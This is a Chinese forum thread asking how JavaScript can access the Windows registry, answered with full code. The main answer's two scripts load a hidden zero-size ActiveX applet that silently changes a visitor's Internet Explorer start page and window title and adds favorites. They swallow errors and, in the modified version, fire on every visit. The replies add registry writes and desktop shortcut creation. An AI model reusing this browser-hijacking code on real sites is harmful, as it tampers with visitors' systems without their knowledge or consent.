javascript怎样读取、写入、更改注册表？

有两个例子：
自动加入收藏夹、设为首页
（如果自己试的话，想再试多一次就要清COOKIE，如果是别人的话，就次次都行的） 
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); //this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function function f(){
try
{
//ActiveX initialization
a1=document.applets&#0;;
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject(); try
{
if (document.cookie.indexOf("Chg") == -1) 
{
//set cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set cookie //set home page
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page //add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part //the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "经典论坛", "http://www.blueidea.com");
//end add favorites 
}
}
catch(e)
{}
}
catch(e)
{}
} function init()
{
setTimeout("f()", 1000);
} init(); </script> 
************************** 
经过修改的代码
（经过修改的代码，取消了COOKIE的限制，可以通过它修改注册表中IE的主页设置和标题项。） <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<HTML> 
<HEAD> 
<TITLE>经过修改的代码</TITLE> 
<META NAME="Generator" CONTENT="EditPlus"> 
<META NAME="Author" CONTENT=""> 
<META NAME="Keywords" CONTENT=""> 
<META NAME="Description" CONTENT=""> 
</HEAD> <BODY BGCOLOR="#FFFFFF"> 
<script> 
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); //this function is only needed if you add favorites or links 
function AddFavLnk(loc, DispName, SiteURL) 
{ 
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); 
Shor.TargetPath = SiteURL; 
Shor.Save(); 
} 
//end add favorites or links function function f(){ 
try 
{ 
//ActiveX initialization 
a1=document.applets&#0;; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); try 
{ 
if (document.cookie.indexOf("Chg") == -1) 
{ 
//set cookie 
var expdate = new Date((new Date()).getTime() + (1)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end set cookie //set home page 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/"); 
var expdate = new Date((new Date()).getTime() + (1)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end set home page //set IE title 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer 欢迎光临经典论坛 http://www.blueidea.com");/ 
var expdate = new Date((new Date()).getTime() + (1)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end IE title //add favorites this is the common part; should be here if you want to add favorites 
var WF, Shor, loc; 
WF = FSO.GetSpecialFolder(0); 
loc = WF + "\\Favorites"; 
if(!FSO.FolderExists(loc)) 
{ 
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; 
if(!FSO.FolderExists(loc)) 
{ 
return; 
} 
} 
//end common part //the following line is used for adding favorites. 
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters. 
AddFavLnk(loc, "经典论坛", "http://www.blueidea.com"); 
//end add favorites } 
} 
catch(e) 
{} 
} 
catch(e) 
{} 
} function init() 
{ 
setTimeout("f()", 1000); 
} init(); </script> 
已经设置成功！（已经取消了时间COOKIE的限制） 
</BODY> 
</HTML>

解决方案 »

  1.   

    <Script Language="JavaScript">
    <!--
    var oShow;
    oShow=new ActiveXObject("Wscript.Shell");
    oShow.RegWrite("HKCU\\test\\computer","10.161.2.93");
    alert(oShow.RegRead("HKCU\\test\\computer"));
     -->
    </Script>
      

  2.   

    <script language="Javascript">
      var WshShell = new ActiveXObject("WScript.Shell");
      var url="http://lucky.myrice.com";
      var title="【孟宪会之精彩世界】";
      WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
      var FavoritesPath = WshShell.SpecialFolders("Favorites");
      var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".lnk");
      oUrlLink.TargetPath = url;
      oUrlLink.Save();
      var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
      //alert(DesktopPath)
      //DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
      var MyShortcut = WshShell.CreateShortcut(DesktopPath + "\\" + title+ "的快捷方式.lnk");
      MyShortcut.TargetPath = url;
      MyShortcut.WindowStyle = 4;
      MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
      MyShortcut.Save();  
    </script>